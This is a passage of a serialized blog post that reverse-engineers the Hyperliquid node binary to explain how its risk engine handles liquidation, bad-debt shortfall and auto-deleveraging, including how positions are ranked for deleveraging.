",{"type":24,"tag":154,"props":160334,"children":160336},{"className":160335},[],[160337],{"type":29,"value":160338},"OptionUnitQty",{"type":29,"value":160340},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":24,"tag":25,"props":160342,"children":160343},{},[160344],{"type":29,"value":160345},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":24,"tag":147,"props":160347,"children":160348},{},[160349],{"type":24,"tag":154,"props":160350,"children":160353},{"className":160351},[5642,160352],"math-display",[160354],{"type":24,"tag":158,"props":160355,"children":160358},{"className":160356},[160357],"katex-display",[160359],{"type":24,"tag":158,"props":160360,"children":160362},{"className":160361},[5648],[160363],{"type":24,"tag":158,"props":160364,"children":160366},{"className":160365,"ariaHidden":3185},[5653],[160367,160398],{"type":24,"tag":158,"props":160368,"children":160370},{"className":160369},[5658],[160371,160375,160385,160389,160394],{"type":24,"tag":158,"props":160372,"children":160374},{"className":160373,"style":95738},[5663],[],{"type":24,"tag":158,"props":160376,"children":160378},{"className":160377},[5669,29],[160379],{"type":24,"tag":158,"props":160380,"children":160382},{"className":160381},[5669],[160383],{"type":29,"value":160384},"liq_equity",{"type":24,"tag":158,"props":160386,"children":160388},{"className":160387,"style":5848},[5750],[],{"type":24,"tag":158,"props":160390,"children":160392},{"className":160391},[5853],[160393],{"type":29,"value":1285},{"type":24,"tag":158,"props":160395,"children":160397},{"className":160396,"style":5848},[5750],[],{"type":24,"tag":158,"props":160399,"children":160401},{"className":160400},[5658],[160402,160407],{"type":24,"tag":158,"props":160403,"children":160406},{"className":160404,"style":160405},[5663],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":24,"tag":158,"props":160408,"children":160410},{"className":160409},[5669],[160411,160415,160533],{"type":24,"tag":158,"props":160412,"children":160414},{"className":160413},[22961,114843],[],{"type":24,"tag":158,"props":160416,"children":160418},{"className":160417},[114848],[160419],{"type":24,"tag":158,"props":160420,"children":160422},{"className":160421},[5691,22886],[160423,160521],{"type":24,"tag":158,"props":160424,"children":160426},{"className":160425},[5696],[160427,160516],{"type":24,"tag":158,"props":160428,"children":160431},{"className":160429,"style":160430},[5701],"height:1.427em;",[160432,160472,160483],{"type":24,"tag":158,"props":160433,"children":160435},{"style":160434},"top:-2.314em;",[160436,160440],{"type":24,"tag":158,"props":160437,"children":160439},{"className":160438,"style":113496},[5710],[],{"type":24,"tag":158,"props":160441,"children":160443},{"className":160442},[5669],[160444,160449,160453,160458,160462],{"type":24,"tag":158,"props":160445,"children":160447},{"className":160446},[5669],[160448],{"type":29,"value":4789},{"type":24,"tag":158,"props":160450,"children":160452},{"className":160451,"style":5751},[5750],[],{"type":24,"tag":158,"props":160454,"children":160456},{"className":160455},[5756],[160457],{"type":29,"value":112587},{"type":24,"tag":158,"props":160459,"children":160461},{"className":160460,"style":5751},[5750],[],{"type":24,"tag":158,"props":160463,"children":160465},{"className":160464},[5669,29],[160466],{"type":24,"tag":158,"props":160467,"children":160469},{"className":160468},[5669],[160470],{"type":29,"value":160471},"leverage",{"type":24,"tag":158,"props":160473,"children":160474},{"style":114898},[160475,160479],{"type":24,"tag":158,"props":160476,"children":160478},{"className":160477,"style":113496},[5710],[],{"type":24,"tag":158,"props":160480,"children":160482},{"className":160481,"style":114908},[114907],[],{"type":24,"tag":158,"props":160484,"children":160486},{"style":160485},"top:-3.677em;",[160487,160491],{"type":24,"tag":158,"props":160488,"children":160490},{"className":160489,"style":113496},[5710],[],{"type":24,"tag":158,"props":160492,"children":160494},{"className":160493},[5669],[160495,160501,160511],{"type":24,"tag":158,"props":160496,"children":160498},{"className":160497},[5669],[160499],{"type":29,"value":160500},"∣",{"type":24,"tag":158,"props":160502,"children":160504},{"className":160503},[5669,29],[160505],{"type":24,"tag":158,"props":160506,"children":160508},{"className":160507},[5669],[160509],{"type":29,"value":160510},"notional",{"type":24,"tag":158,"props":160512,"children":160514},{"className":160513},[5669],[160515],{"type":29,"value":160500},{"type":24,"tag":158,"props":160517,"children":160519},{"className":160518},[22989],[160520],{"type":29,"value":22992},{"type":24,"tag":158,"props":160522,"children":160524},{"className":160523},[5696],[160525],{"type":24,"tag":158,"props":160526,"children":160529},{"className":160527,"style":160528},[5701],"height:0.8804em;",[160530],{"type":24,"tag":158,"props":160531,"children":160532},{},[],{"type":24,"tag":158,"props":160534,"children":160536},{"className":160535},[22983,114843],[],{"type":24,"tag":59,"props":160538,"children":160540},{"id":160539},"what-if-nobody-wants-to-buy-the-position",[160541],{"type":29,"value":160542},"What If Nobody Wants to Buy the Position?",{"type":24,"tag":25,"props":160544,"children":160545},{},[160546],{"type":29,"value":160547},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":24,"tag":25,"props":160549,"children":160550},{},[160551,160553,160558],{"type":29,"value":160552},"When that happens, the exchange is basically left with a ",{"type":24,"tag":32,"props":160554,"children":160555},{},[160556],{"type":29,"value":160557},"hot potato",{"type":29,"value":160559}," to get rid of: what should it even do with the debt?",{"type":24,"tag":36636,"props":160561,"children":160563},{"id":160562},"the-risk-engine",[160564],{"type":29,"value":160565},"The Risk Engine",{"type":24,"tag":25,"props":160567,"children":160568},{},[160569],{"type":29,"value":160570},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":24,"tag":59,"props":160572,"children":160574},{"id":160573},"clearing-up-bad-debt",[160575],{"type":29,"value":160576},"Clearing Up Bad Debt",{"type":24,"tag":25,"props":160578,"children":160579},{},[160580,160581,160588],{"type":29,"value":17850},{"type":24,"tag":101,"props":160582,"children":160585},{"href":160583,"rel":160584},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[105],[160586],{"type":29,"value":160587},"Hyperliquid docs",{"type":29,"value":160589}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":24,"tag":25,"props":160591,"children":160592},{},[160593,160595,160606,160608,160614,160616,160622],{"type":29,"value":160594},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":24,"tag":101,"props":160596,"children":160599},{"href":160597,"rel":160598},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[105],[160600],{"type":24,"tag":154,"props":160601,"children":160603},{"className":160602},[],[160604],{"type":29,"value":160605},"Clearinghouse",{"type":29,"value":160607},", a struct containing all liquidation-related info, nested within a bigger ",{"type":24,"tag":154,"props":160609,"children":160611},{"className":160610},[],[160612],{"type":29,"value":160613},"Exchange",{"type":29,"value":160615}," data structure. This is an example of what it might hold when serialized as ",{"type":24,"tag":154,"props":160617,"children":160619},{"className":160618},[],[160620],{"type":29,"value":160621},"MessagePack",{"type":29,"value":160623}," at runtime.",{"type":24,"tag":25,"props":160625,"children":160626},{},[160627],{"type":29,"value":160628},"This data will come in handy both for us and the agent.",{"type":24,"tag":160630,"props":160631,"children":160633},"file-download",{"path":160632},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":24,"tag":25,"props":160635,"children":160636},{},[160637,160639,160644],{"type":29,"value":160638},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":24,"tag":154,"props":160640,"children":160642},{"className":160641},[],[160643],{"type":29,"value":160605},{"type":29,"value":160645},". Some renaming later, we can infer something like this:",{"type":24,"tag":160324,"props":160647,"children":160651},{"source":160648,"target":160649,"direction":160650},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":24,"tag":25,"props":160653,"children":160654},{},[160655,160657,160662,160664,160670],{"type":29,"value":160656},"We have one huge function handling all clearinghouse operations, which we call ",{"type":24,"tag":154,"props":160658,"children":160660},{"className":160659},[],[160661],{"type":29,"value":160649},{"type":29,"value":160663},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":24,"tag":154,"props":160665,"children":160667},{"className":160666},[],[160668],{"type":29,"value":160669},"exchange_end_block",{"type":29,"value":160671},". So, at the end of each block we run some checks.",{"type":24,"tag":160293,"props":160673,"children":160674},{},[160675],{"type":24,"tag":25,"props":160676,"children":160677},{},[160678],{"type":29,"value":160679},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":24,"tag":25,"props":160681,"children":160682},{},[160683,160685,160691],{"type":29,"value":160684},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":24,"tag":154,"props":160686,"children":160688},{"className":160687},[],[160689],{"type":29,"value":160690},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":160692}," flag.",{"type":24,"tag":160324,"props":160694,"children":160698},{"addr":160695,"line-start":160696,"line-end":160697},"0x555556ac3850","3290","3301",[],{"type":24,"tag":25,"props":160700,"children":160701},{},[160702,160704,160709],{"type":29,"value":160703},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":24,"tag":154,"props":160705,"children":160707},{"className":160706},[],[160708],{"type":29,"value":160605},{"type":29,"value":4820},{"type":24,"tag":395,"props":160711,"children":160713},{"id":160712},"threshold-condition",[160714],{"type":29,"value":160715},"Threshold Condition",{"type":24,"tag":25,"props":160717,"children":160718},{},[160719,160721,160726],{"type":29,"value":160720},"The natural connection between liquidations and ADL is ",{"type":24,"tag":32,"props":160722,"children":160723},{},[160724],{"type":29,"value":160725},"shortfall",{"type":29,"value":160727},": by how much a position, or the entire system (!), is underwater.",{"type":24,"tag":25,"props":160729,"children":160730},{},[160731],{"type":29,"value":160732},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":24,"tag":20134,"props":160734,"children":160736},{"id":160735},"who-is-underwater",[160737],{"type":29,"value":160738},"Who Is Underwater?",{"type":24,"tag":25,"props":160740,"children":160741},{},[160742,160744,160749,160751,160757],{"type":29,"value":160743},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":24,"tag":154,"props":160745,"children":160747},{"className":160746},[],[160748],{"type":29,"value":160649},{"type":29,"value":160750},", starting from all user positions, which are stored in ",{"type":24,"tag":154,"props":160752,"children":160754},{"className":160753},[],[160755],{"type":29,"value":160756},"clearinghouse.user_states",{"type":29,"value":160758},", as we can also see from the serialization.",{"type":24,"tag":160293,"props":160760,"children":160761},{},[160762],{"type":24,"tag":25,"props":160763,"children":160764},{},[160765],{"type":29,"value":160766},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":24,"tag":160324,"props":160768,"children":160772},{"source":160769,"target":160669,"direction":160770,"path":160771},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":24,"tag":25,"props":160774,"children":160775},{},[160776,160777,160782,160784,160790,160792,160798,160800,160806],{"type":29,"value":17850},{"type":24,"tag":154,"props":160778,"children":160780},{"className":160779},[],[160781],{"type":29,"value":160769},{"type":29,"value":160783}," essentially turns that into an ",{"type":24,"tag":154,"props":160785,"children":160787},{"className":160786},[],[160788],{"type":29,"value":160789},"Iter",{"type":29,"value":160791},", then, inside of ",{"type":24,"tag":154,"props":160793,"children":160795},{"className":160794},[],[160796],{"type":29,"value":160797},"build_adl_candidate_set",{"type":29,"value":160799}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":24,"tag":154,"props":160801,"children":160803},{"className":160802},[],[160804],{"type":29,"value":160805},"AdlIterEntry",{"type":29,"value":59599},{"type":24,"tag":160324,"props":160808,"children":160810},{"type-name":160809},"AdlIterContext",[],{"type":24,"tag":25,"props":160812,"children":160813},{},[160814,160816,160822,160824,160830,160832,160838,160840,160845],{"type":29,"value":160815},"Note that in storage, ",{"type":24,"tag":154,"props":160817,"children":160819},{"className":160818},[],[160820],{"type":29,"value":160821},"Isolated",{"type":29,"value":160823}," positions have their own independent ",{"type":24,"tag":154,"props":160825,"children":160827},{"className":160826},[],[160828],{"type":29,"value":160829},"Entry",{"type":29,"value":160831}," in the position iterators, and ",{"type":24,"tag":154,"props":160833,"children":160835},{"className":160834},[],[160836],{"type":29,"value":160837},"Cross",{"type":29,"value":160839}," positions have a single common ",{"type":24,"tag":154,"props":160841,"children":160843},{"className":160842},[],[160844],{"type":29,"value":160829},{"type":29,"value":160846},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":24,"tag":160324,"props":160848,"children":160851},{"addr":160849,"line-start":45523,"line-end":160850},"0x555556266b10","163",[],{"type":24,"tag":25,"props":160853,"children":160854},{},[160855],{"type":29,"value":160856},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":24,"tag":160324,"props":160858,"children":160861},{"addr":160695,"line-start":160859,"line-end":160860},"506","527",[],{"type":24,"tag":25,"props":160863,"children":160864},{},[160865,160867],{"type":29,"value":160866},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":24,"tag":160868,"props":160869,"children":160872},"bndb-xref",{"lines":160870,"addrs":160871},"1-2","0x555556ac3e18-0x555556ac3e18",[160873],{"type":29,"value":160874},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":24,"tag":25,"props":160876,"children":160877},{},[160878,160880,160886,160888,160894,160896,160902,160904,160910],{"type":29,"value":160879},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":24,"tag":154,"props":160881,"children":160883},{"className":160882},[],[160884],{"type":29,"value":160885},"only_isolated",{"type":29,"value":160887}," (or ",{"type":24,"tag":154,"props":160889,"children":160891},{"className":160890},[],[160892],{"type":29,"value":160893},"strict_isolated",{"type":29,"value":160895}," in MessagePack dumps) are added to a separate queue, ",{"type":24,"tag":154,"props":160897,"children":160899},{"className":160898},[],[160900],{"type":29,"value":160901},"deferred_queue",{"type":29,"value":160903},", which triggers ADL regardless of the system's ",{"type":24,"tag":154,"props":160905,"children":160907},{"className":160906},[],[160908],{"type":29,"value":160909},"total_shortfall",{"type":29,"value":160911},". This is dictated by this branch.",{"type":24,"tag":160324,"props":160913,"children":160916},{"addr":160695,"line-start":160914,"line-end":160915},"211","243",[],{"type":24,"tag":25,"props":160918,"children":160919},{},[160920,160922,160929],{"type":29,"value":160921},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":24,"tag":101,"props":160923,"children":160926},{"href":160924,"rel":160925},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[105],[160927],{"type":29,"value":160928},"March 2025 incident",{"type":29,"value":160930},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":24,"tag":20134,"props":160932,"children":160934},{"id":160933},"how-do-we-get-rid-of-debt",[160935],{"type":29,"value":160936},"How Do We Get Rid of Debt?",{"type":24,"tag":25,"props":160938,"children":160939},{},[160940],{"type":29,"value":160941},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":24,"tag":25,"props":160943,"children":160944},{},[160945,160947,160952,160954,160959,160961,160966],{"type":29,"value":160946},"Thus, if the debt is insurmountable, the ",{"type":24,"tag":154,"props":160948,"children":160950},{"className":160949},[],[160951],{"type":29,"value":160901},{"type":29,"value":160953}," is overwritten by all the users marked by ",{"type":24,"tag":154,"props":160955,"children":160957},{"className":160956},[],[160958],{"type":29,"value":160797},{"type":29,"value":160960},", otherwise we keep it and only holders of underwater ",{"type":24,"tag":154,"props":160962,"children":160964},{"className":160963},[],[160965],{"type":29,"value":160893},{"type":29,"value":160967}," positions from the earlier loop are considered for ADL.",{"type":24,"tag":160293,"props":160969,"children":160970},{},[160971],{"type":24,"tag":25,"props":160972,"children":160973},{},[160974],{"type":29,"value":160975},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":24,"tag":160324,"props":160977,"children":160980},{"addr":160695,"line-start":160978,"line-end":160979},"523","526",[],{"type":24,"tag":25,"props":160982,"children":160983},{},[160984,160986,160992,160994,161000,161002,161007],{"type":29,"value":160985},"For each underwater position, we do a ",{"type":24,"tag":160868,"props":160987,"children":160989},{"addrs":160988},"0x555556ac42ad-0x555556ac42be",[160990],{"type":29,"value":160991},"B-tree lookup",{"type":29,"value":160993}," on ",{"type":24,"tag":154,"props":160995,"children":160997},{"className":160996},[],[160998],{"type":29,"value":160999},"clearinghouse.user_states[position.user]",{"type":29,"value":161001},", adding them to a ",{"type":24,"tag":154,"props":161003,"children":161005},{"className":161004},[],[161006],{"type":29,"value":18449},{"type":29,"value":161008}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":24,"tag":160324,"props":161010,"children":161013},{"addr":160695,"line-start":161011,"line-end":161012},"635","658",[],{"type":24,"tag":25,"props":161015,"children":161016},{},[161017],{"type":29,"value":161018},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":24,"tag":147,"props":161020,"children":161021},{},[161022],{"type":24,"tag":154,"props":161023,"children":161025},{"className":161024},[5642,160352],[161026],{"type":24,"tag":158,"props":161027,"children":161029},{"className":161028},[160357],[161030],{"type":24,"tag":158,"props":161031,"children":161033},{"className":161032},[5648],[161034],{"type":24,"tag":158,"props":161035,"children":161037},{"className":161036,"ariaHidden":3185},[5653],[161038],{"type":24,"tag":158,"props":161039,"children":161041},{"className":161040},[5658],[161042,161047],{"type":24,"tag":158,"props":161043,"children":161046},{"className":161044,"style":161045},[5663],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":24,"tag":158,"props":161048,"children":161050},{"className":161049},[5669],[161051],{"type":24,"tag":158,"props":161052,"children":161055},{"className":161053},[161054],"mtable",[161056,161136],{"type":24,"tag":158,"props":161057,"children":161060},{"className":161058},[161059],"col-align-r",[161061],{"type":24,"tag":158,"props":161062,"children":161064},{"className":161063},[5691,22886],[161065,161124],{"type":24,"tag":158,"props":161066,"children":161068},{"className":161067},[5696],[161069,161119],{"type":24,"tag":158,"props":161070,"children":161073},{"className":161071,"style":161072},[5701],"height:2.3452em;",[161074,161097],{"type":24,"tag":158,"props":161075,"children":161077},{"style":161076},"top:-4.3452em;",[161078,161083],{"type":24,"tag":158,"props":161079,"children":161082},{"className":161080,"style":161081},[5710],"height:3.3944em;",[],{"type":24,"tag":158,"props":161084,"children":161086},{"className":161085},[5669],[161087],{"type":24,"tag":158,"props":161088,"children":161090},{"className":161089},[5669,29],[161091],{"type":24,"tag":158,"props":161092,"children":161094},{"className":161093},[5669],[161095],{"type":29,"value":161096},"position_weight",{"type":24,"tag":158,"props":161098,"children":161100},{"style":161099},"top:-2.2092em;",[161101,161105],{"type":24,"tag":158,"props":161102,"children":161104},{"className":161103,"style":161081},[5710],[],{"type":24,"tag":158,"props":161106,"children":161108},{"className":161107},[5669],[161109],{"type":24,"tag":158,"props":161110,"children":161112},{"className":161111},[5669,29],[161113],{"type":24,"tag":158,"props":161114,"children":161116},{"className":161115},[5669],[161117],{"type":29,"value":161118},"position_adl_amount",{"type":24,"tag":158,"props":161120,"children":161122},{"className":161121},[22989],[161123],{"type":29,"value":22992},{"type":24,"tag":158,"props":161125,"children":161127},{"className":161126},[5696],[161128],{"type":24,"tag":158,"props":161129,"children":161132},{"className":161130,"style":161131},[5701],"height:1.8452em;",[161133],{"type":24,"tag":158,"props":161134,"children":161135},{},[],{"type":24,"tag":158,"props":161137,"children":161140},{"className":161138},[161139],"col-align-l",[161141],{"type":24,"tag":158,"props":161142,"children":161144},{"className":161143},[5691,22886],[161145,161346],{"type":24,"tag":158,"props":161146,"children":161148},{"className":161147},[5696],[161149,161341],{"type":24,"tag":158,"props":161150,"children":161152},{"className":161151,"style":161072},[5701],[161153,161281],{"type":24,"tag":158,"props":161154,"children":161155},{"style":161076},[161156,161160],{"type":24,"tag":158,"props":161157,"children":161159},{"className":161158,"style":161081},[5710],[],{"type":24,"tag":158,"props":161161,"children":161163},{"className":161162},[5669],[161164,161168,161172,161177,161181],{"type":24,"tag":158,"props":161165,"children":161167},{"className":161166},[5669],[],{"type":24,"tag":158,"props":161169,"children":161171},{"className":161170,"style":5848},[5750],[],{"type":24,"tag":158,"props":161173,"children":161175},{"className":161174},[5853],[161176],{"type":29,"value":1285},{"type":24,"tag":158,"props":161178,"children":161180},{"className":161179,"style":5848},[5750],[],{"type":24,"tag":158,"props":161182,"children":161184},{"className":161183},[5669],[161185,161189,161277],{"type":24,"tag":158,"props":161186,"children":161188},{"className":161187},[22961,114843],[],{"type":24,"tag":158,"props":161190,"children":161192},{"className":161191},[114848],[161193],{"type":24,"tag":158,"props":161194,"children":161196},{"className":161195},[5691,22886],[161197,161265],{"type":24,"tag":158,"props":161198,"children":161200},{"className":161199},[5696],[161201,161260],{"type":24,"tag":158,"props":161202,"children":161205},{"className":161203,"style":161204},[5701],"height:1.3944em;",[161206,161227,161238],{"type":24,"tag":158,"props":161207,"children":161208},{"style":160434},[161209,161213],{"type":24,"tag":158,"props":161210,"children":161212},{"className":161211,"style":113496},[5710],[],{"type":24,"tag":158,"props":161214,"children":161216},{"className":161215},[5669],[161217],{"type":24,"tag":158,"props":161218,"children":161220},{"className":161219},[5669,29],[161221],{"type":24,"tag":158,"props":161222,"children":161224},{"className":161223},[5669],[161225],{"type":29,"value":161226},"total_cross_notional",{"type":24,"tag":158,"props":161228,"children":161229},{"style":114898},[161230,161234],{"type":24,"tag":158,"props":161231,"children":161233},{"className":161232,"style":113496},[5710],[],{"type":24,"tag":158,"props":161235,"children":161237},{"className":161236,"style":114908},[114907],[],{"type":24,"tag":158,"props":161239,"children":161241},{"style":161240},"top:-3.7em;",[161242,161246],{"type":24,"tag":158,"props":161243,"children":161245},{"className":161244,"style":113496},[5710],[],{"type":24,"tag":158,"props":161247,"children":161249},{"className":161248},[5669],[161250],{"type":24,"tag":158,"props":161251,"children":161253},{"className":161252},[5669,29],[161254],{"type":24,"tag":158,"props":161255,"children":161257},{"className":161256},[5669],[161258],{"type":29,"value":161259},"position_notional",{"type":24,"tag":158,"props":161261,"children":161263},{"className":161262},[22989],[161264],{"type":29,"value":22992},{"type":24,"tag":158,"props":161266,"children":161268},{"className":161267},[5696],[161269],{"type":24,"tag":158,"props":161270,"children":161273},{"className":161271,"style":161272},[5701],"height:0.996em;",[161274],{"type":24,"tag":158,"props":161275,"children":161276},{},[],{"type":24,"tag":158,"props":161278,"children":161280},{"className":161279},[22983,114843],[],{"type":24,"tag":158,"props":161282,"children":161283},{"style":161099},[161284,161288],{"type":24,"tag":158,"props":161285,"children":161287},{"className":161286,"style":161081},[5710],[],{"type":24,"tag":158,"props":161289,"children":161291},{"className":161290},[5669],[161292,161296,161300,161305,161309,161319,161323,161328,161332],{"type":24,"tag":158,"props":161293,"children":161295},{"className":161294},[5669],[],{"type":24,"tag":158,"props":161297,"children":161299},{"className":161298,"style":5848},[5750],[],{"type":24,"tag":158,"props":161301,"children":161303},{"className":161302},[5853],[161304],{"type":29,"value":1285},{"type":24,"tag":158,"props":161306,"children":161308},{"className":161307,"style":5848},[5750],[],{"type":24,"tag":158,"props":161310,"children":161312},{"className":161311},[5669,29],[161313],{"type":24,"tag":158,"props":161314,"children":161316},{"className":161315},[5669],[161317],{"type":29,"value":161318},"user_shortfall",{"type":24,"tag":158,"props":161320,"children":161322},{"className":161321,"style":5751},[5750],[],{"type":24,"tag":158,"props":161324,"children":161326},{"className":161325},[5756],[161327],{"type":29,"value":112587},{"type":24,"tag":158,"props":161329,"children":161331},{"className":161330,"style":5751},[5750],[],{"type":24,"tag":158,"props":161333,"children":161335},{"className":161334},[5669,29],[161336],{"type":24,"tag":158,"props":161337,"children":161339},{"className":161338},[5669],[161340],{"type":29,"value":161096},{"type":24,"tag":158,"props":161342,"children":161344},{"className":161343},[22989],[161345],{"type":29,"value":22992},{"type":24,"tag":158,"props":161347,"children":161349},{"className":161348},[5696],[161350],{"type":24,"tag":158,"props":161351,"children":161353},{"className":161352,"style":161131},[5701],[161354],{"type":24,"tag":158,"props":161355,"children":161356},{},[],{"type":24,"tag":25,"props":161358,"children":161359},{},[161360],{"type":29,"value":161361},"We do that here:",{"type":24,"tag":160324,"props":161363,"children":161366},{"addr":160695,"line-start":161364,"line-end":161365},"828","981",[],{"type":24,"tag":25,"props":161368,"children":161369},{},[161370,161371,161377,161379,161385],{"type":29,"value":17850},{"type":24,"tag":160868,"props":161372,"children":161374},{"lines":161373},"77-79",[161375],{"type":29,"value":161376},"inner loop",{"type":29,"value":161378}," above spans all ",{"type":24,"tag":154,"props":161380,"children":161382},{"className":161381},[],[161383],{"type":29,"value":161384},"(asset_idx, direction)",{"type":29,"value":161386}," held in the cross margin position.",{"type":24,"tag":25,"props":161388,"children":161389},{},[161390,161392,161398,161400,161406,161407,161413],{"type":29,"value":161391},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":24,"tag":154,"props":161393,"children":161395},{"className":161394},[],[161396],{"type":29,"value":161397},"adl_output",{"type":29,"value":161399}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":24,"tag":154,"props":161401,"children":161403},{"className":161402},[],[161404],{"type":29,"value":161405},"position_id",{"type":29,"value":1826},{"type":24,"tag":154,"props":161408,"children":161410},{"className":161409},[],[161411],{"type":29,"value":161412},"position_shortfall",{"type":29,"value":347},{"type":24,"tag":160324,"props":161415,"children":161418},{"addr":160695,"line-start":161416,"line-end":161417},"2377","2469",[],{"type":24,"tag":25,"props":161420,"children":161421},{},[161422,161424,161430],{"type":29,"value":161423},"Afterwards we can finally loop over the B-tree containing ",{"type":24,"tag":154,"props":161425,"children":161427},{"className":161426},[],[161428],{"type":29,"value":161429},"(position_id, cut)",{"type":29,"value":161431},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":24,"tag":25,"props":161433,"children":161434},{},[161435,161437,161442],{"type":29,"value":161436},"The final phase of ",{"type":24,"tag":154,"props":161438,"children":161440},{"className":161439},[],[161441],{"type":29,"value":160649},{"type":29,"value":161443}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":24,"tag":160324,"props":161445,"children":161448},{"addr":160695,"addr-start":161446,"addr-end":161447},"0x555556ac6d52","0x555556ac6de8",[],{"type":24,"tag":25,"props":161450,"children":161451},{},[161452],{"type":29,"value":161453},"How are positions chosen (sorted) to be deleveraged?",{"type":24,"tag":36636,"props":161455,"children":161457},{"id":161456},"who-do-we-deleverage",[161458],{"type":29,"value":161459},"Who Do We Deleverage?",{"type":24,"tag":25,"props":161461,"children":161462},{},[161463],{"type":29,"value":161464},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":24,"tag":25,"props":161466,"children":161467},{},[161468],{"type":29,"value":161469},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":24,"tag":25,"props":161471,"children":161472},{},[161473,161475,161482],{"type":29,"value":161474},"More formally, fairness can be given multiple related definitions; see ",{"type":24,"tag":101,"props":161476,"children":161479},{"href":161477,"rel":161478},"https://arxiv.org/abs/2512.01112",[105],[161480],{"type":29,"value":161481},"this paper",{"type":29,"value":161483},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":24,"tag":25,"props":161485,"children":161486},{},[161487],{"type":29,"value":161488},"So, is Hyperliquid fair? Is it always solvent?",{"type":24,"tag":59,"props":161490,"children":161492},{"id":161491},"adl-score-computation",[161493],{"type":29,"value":161494},"ADL Score Computation",{"type":24,"tag":25,"props":161496,"children":161497},{},[161498,161500,161506,161508,161514,161516,161521],{"type":29,"value":161499},"The score function at ",{"type":24,"tag":154,"props":161501,"children":161503},{"className":161502},[],[161504],{"type":29,"value":161505},"compute_adl_ranking_score",{"type":29,"value":161507}," is core to answering this question. It's defined, most likely as an ",{"type":24,"tag":154,"props":161509,"children":161511},{"className":161510},[],[161512],{"type":29,"value":161513},"Ord",{"type":29,"value":161515}," implementation on some 20-byte address representation. A ",{"type":24,"tag":154,"props":161517,"children":161519},{"className":161518},[],[161520],{"type":29,"value":18449},{"type":29,"value":161522}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":24,"tag":25,"props":161524,"children":161525},{},[161526,161528,161533,161535,161541,161543,161550,161552,161559],{"type":29,"value":161527},"Those sort routines are ",{"type":24,"tag":32,"props":161529,"children":161530},{},[161531],{"type":29,"value":161532},"generated by the compiler",{"type":29,"value":161534},": since Rust binaries include a lot of metadata by default in ",{"type":24,"tag":154,"props":161536,"children":161538},{"className":161537},[],[161539],{"type":29,"value":161540},".comment",{"type":29,"value":161542},", we may even manually ",{"type":24,"tag":101,"props":161544,"children":161547},{"href":161545,"rel":161546},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[105],[161548],{"type":29,"value":161549},"take advantage",{"type":29,"value":161551}," of this to recover the ",{"type":24,"tag":101,"props":161553,"children":161556},{"href":161554,"rel":161555},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[105],[161557],{"type":29,"value":161558},"exact source of library 